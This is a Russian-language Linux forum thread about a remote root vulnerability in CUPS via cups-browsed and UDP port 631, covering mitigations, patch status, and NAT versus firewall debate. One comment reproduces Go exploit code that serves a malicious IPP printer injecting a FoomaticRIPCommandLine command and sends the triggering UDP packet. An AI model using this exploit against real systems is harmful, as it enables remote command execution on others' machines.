LINUX.ORG.RU

Рутовая дыра в CUPS, позволяющая поиметь твой комп парой UDP пакетов

 , ,


1

4

Привет, ЛОР!

В CUPS нашли зияющую огромную дыру размером с кратер от ядерного взрыва. Если у тебя есть CUPS, лучше бы его вырубить нахрен, закрыть udp порт 631 и удалить cups-browsed. Всё это включено из коробки в убанте и федоре, если что. Патчей пока нет.

Изначально планировалось, что информацию о дыре опубликуют 5 октябра, но эксплоит утёк раньше, поэтому нашедший её чувак опубликовал всё сегодня.

Длинный ролик на YT на Лундюка: https://www.youtube.com/watch?v=EdyKQicDRys

Утёкший отчёт: https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1

Длинный пост от чувака, нашедшего дыру: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/

P.S. если кому надо шквор, пилите новость :)

Перемещено hobbit из talks

★★★★★

Последнее исправление: hateyoufeel (всего исправлений: 7)

Ответ на: комментарий от Vilicus

Сервера в сеть потами не светят

На Шодане нашли тысячи и тысячи тех, что светят. Чувак, сделавший эксплоит, ради лулзов разослал всему интернету это и к нему постоянно коннектились. Ты сильно недооценивает способность говноадминов насрать себе в штаны.

hateyoufeel ★★★★★
() автор топика
Последнее исправление: hateyoufeel (всего исправлений: 1)

А это на серваках есть хоть? Если есть, то зачем? А если нету… То цена этой недо-CVE 0/10. У них всегда какие-то уровни сверхопасные, а потом читаешь описания, где требуется особое сочетание звезд на небосводе, которое бывает 1:1000000

rtxtxtrx ★★
()
func (p *MaliciousPrinter) HandleRequest(w http.ResponseWriter, r *http.Request) {
	fmt.Println("target connected, sending payload ...")

	// Construct the response
	response := fmt.Sprintf(`
		attributes-charset: utf-8
		attributes-natural-language: en
		printer-uri-supported: http://%s:%d/printers/NAME
		uri-authentication-supported: none
		uri-security-supported: none
		printer-name: Main Printer
		printer-info: Main Printer Info
		printer-make-and-model: HP 0.00
		printer-state: 3
		printer-state-reasons: none
		ipp-versions-supported: 1.1
		operations-supported: 4,5,8,11
		multiple-document-jobs-supported: false
		charset-configured: utf-8
		charset-supported: utf-8
		natural-language-configured: en
		generated-natural-language-supported: en
		document-format-default: application/pdf
		document-format-supported: application/pdf
		printer-is-accepting-jobs: true
		queued-job-count: 666
		pdl-override-supported: not-attempted
		printer-up-time: %d
		compression-supported: none
		printer-privacy-policy-uri: https://www.google.com/%%22%%5Cn*FoomaticRIPCommandLine: "%s"
		*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip"
	`, time.Now().Unix(), p.command)

	w.Header().Set("Content-Type", "application/ipp")
	w.Write([]byte(response))
}

func sendBrowsedPacket(ip string, port int, ippServerHost string, ippServerPort int) {
	fmt.Printf("sending udp packet to %s:%d ...\n", ip, port)

	printerType := 0x00
	printerState := 0x03
	printerURI := fmt.Sprintf("http://%s:%d/printers/NAME", ippServerHost, ippServerPort)
	printerLocation := "Office HQ"
	printerInfo := "Printer"

	message := fmt.Sprintf("%x %x %s \"%s\" \"%s\"",
		printerType,
		printerState,
		printerURI,
		printerLocation,
		printerInfo)

	sock, err := net.Dial("udp", fmt.Sprintf("%s:%d", ip, port))
	if err != nil {
		fmt.Println("Error creating UDP socket:", err)
		return
	}
	defer sock.Close()

	_, err = sock.Write([]byte(message))
	if err != nil {
		fmt.Println("Error sending UDP packet:", err)
	}
}

Я сомневаюсь что это рабочий код… И если я получу рута на принтере, то че я им делать то буду?

rtxtxtrx ★★
()

у меня все принтеры подключены к винде - детям для учебы надо, но я естественно пробовал принтеры к линуксу подключать и у меня это так выглядело

# apt install cups cups-pdf
# apt install sane xsane
# http://127.0.0.1:631

и вот эта последняя команда с повышеными правами меня сразу смутила, ну разве так можно, а по другому у меня не заработало

amd_amd ★★★★★
()

сияющую огромную дыру

зияющую

зия́ть - Быть раскрытым, обнаруживая глубину, провал.

а «зияющую огромную» - это масло масляное.

aol ★★★★★
()
Последнее исправление: aol (всего исправлений: 1)

Рутовая дыра в CUPS

А я не удивлен с учетом того что рута он там на каждый чих просит.

Если у тебя есть CUPS, лучше бы его вырубить нахрен

А печатать как? Ну если принтер не умеет в lpt\pcl.

micronekodesu ★★★
()

закрыть udp порт 631 и удалить cups-browsed. Всё это включено из коробки в убанте и федоре, если что.

А так вот в чём дело. В нормальных дистрах этой штуки из коробки нет. Так что уязвимость не только не для линукса, как изначально громко заявлялось (т.к. линукс - вообще ядро), а ещё и не для всех дистров, а только для бета-тестерских (федора с убунтой).

И, во-вторых, cups-browsed это не cups, а какая-то сторонняя нашлёпка на него, ну как всегда. Вспоминается новость про якобы взятие на поддержку «заброшенного» apt минтом, где оказалось что они какое-то стороннее гуи к нем переписали.

firkax ★★★★★
()
Последнее исправление: firkax (всего исправлений: 2)
Ответ на: комментарий от firkax

Может быть, но у меня есть сервис который работает только через ipv6 и в dns у него только ipv6 адрес.
Лучше чем сделать ipv6 через nat на роутере ничего не придумалось.
А так обычно у всех белые ip. Так что дыра рабочая.
К стати, cups-browsed на ipv6 вообще работает? Глянуть негде.

hbars ★★★★★
()
Последнее исправление: hbars (всего исправлений: 1)
Ответ на: комментарий от hbars

Если это твой сервис то переделай его чтобы работал на ipv4, не жадничай 100р/мес на белый адрес. Если не твой, то я удивлён где ты такой нашёл. Никто в здравом уме не будет делать публичный ipv6-only сервис.

firkax ★★★★★
()
Ответ на: комментарий от firkax

И, во-вторых, cups-browsed это не cups, а какая-то сторонняя нашлёпка на него, ну как всегда. Вспоминается новость про якобы взятие на поддержку «заброшенного» apt минтом, где оказалось что они какое-то стороннее гуи к нем переписали.

cups-browserd – это часть дыры. Через него можно залить код, который будет выполняться потом самим cups.

hateyoufeel ★★★★★
() автор топика

CUPS

2025 год

Что вы там печатаете на нем? Везде давно ЭДО и ЭЦП, дисплеи e-ink по 12" и прочие вундервафли. Принтеры давно уже не нужны, ну может где в провинции или деревне еще пользуются.

Впрочем, был не так давно случай: забрали меня опять в милицию, (каюсь, был выпимши больше обычного, буянил), так вот, у них там стояла пишушая машинка «Ивица», рабочая вполне. Но это у нас там, в Бузулуке.

XOXO
()
Ответ на: комментарий от token_polyak

Очередной путает NAT с брандмауэром [’]

Кстати да, удивляет почему многие считают NAT «последней линией обороны», забывая про сетевой экран в режиме белого списка? Мне последнее кажется очевидно необходимым для любой машины имеющей выход в сеть. NAT - не панацея, да и роутер, если тот получает полную конфигурацию от провайдера, нельзя считать полностью контролируемым.

QsUPt7S ★★
()
Ответ на: комментарий от QsUPt7S

Потому, что сетевой экран настраивать очень сложно и большинство пользователей этим не занимаются. А NAT настраивать не надо, он из коробки идёт, настраивать надо скорей его обход.

vbr ★★★★
()
Ответ на: комментарий от vbr

Потому, что сетевой экран настраивать очень сложно и большинство пользователей этим не занимаются.

# systemctl enable nftables - сложно?! O_0

QsUPt7S ★★
()
Последнее исправление: QsUPt7S (всего исправлений: 1)
Ответ на: комментарий от token_polyak

Никто не мешает использовать и то, и другое. Исходя из субъективного понимания своих задач %)

Для ipv6 скорее всего он захочет NPTv6, который stateless. Но если прям полный аналог, то NAT66 (steatefull)

З.Ы. сейчас начнется срач адептов сетевой прозрачности

router ★★★★★
()
Ответ на: комментарий от Vilicus

Недооцениваешь ты людей, ох, недооцениваешь… На шодане сотни вебкамер с дефолтными паролями, заходи пользуйся, умные дома и просто серваки с голым задом в интернете. Даже не так, с голым задом и анусом, в который еще и вставлен расширитель, чтобы тебе было удобнее туда войти без лишних вопросов.

Gonzo ★★★★★
()
Ответ на: комментарий от vbr

Потому, что сетевой экран настраивать очень сложно и большинство пользователей этим не занимаются.

А зачем им этим заниматься? Волшебная коробочка должна быть настроена из коробки.

NAT тоже надо настраивать, так-то, просто в роутере от провайдера всё уже сделано.

hateyoufeel ★★★★★
() автор топика
Ответ на: комментарий от SkyMaverick

а это ты спроси у амерских корпов, нахрена они скупили целые подсети беляка и использовали его под принт серверы. говорят им очень удобно печатать в головной в другом штате :))))

Morin ★★★★
()
Ответ на: комментарий от token_polyak

Очередной путает NAT с брандмауэром [’]

Очередной считает, что надо указать на это. Ну ты залезь на машинку с приватным IP через NAT, а я посмотрю. Только ты в практику живую давай, а не в синтетические теории.

В общем формально-то ты прав, но есть нюанс.

AS ★★★★★
()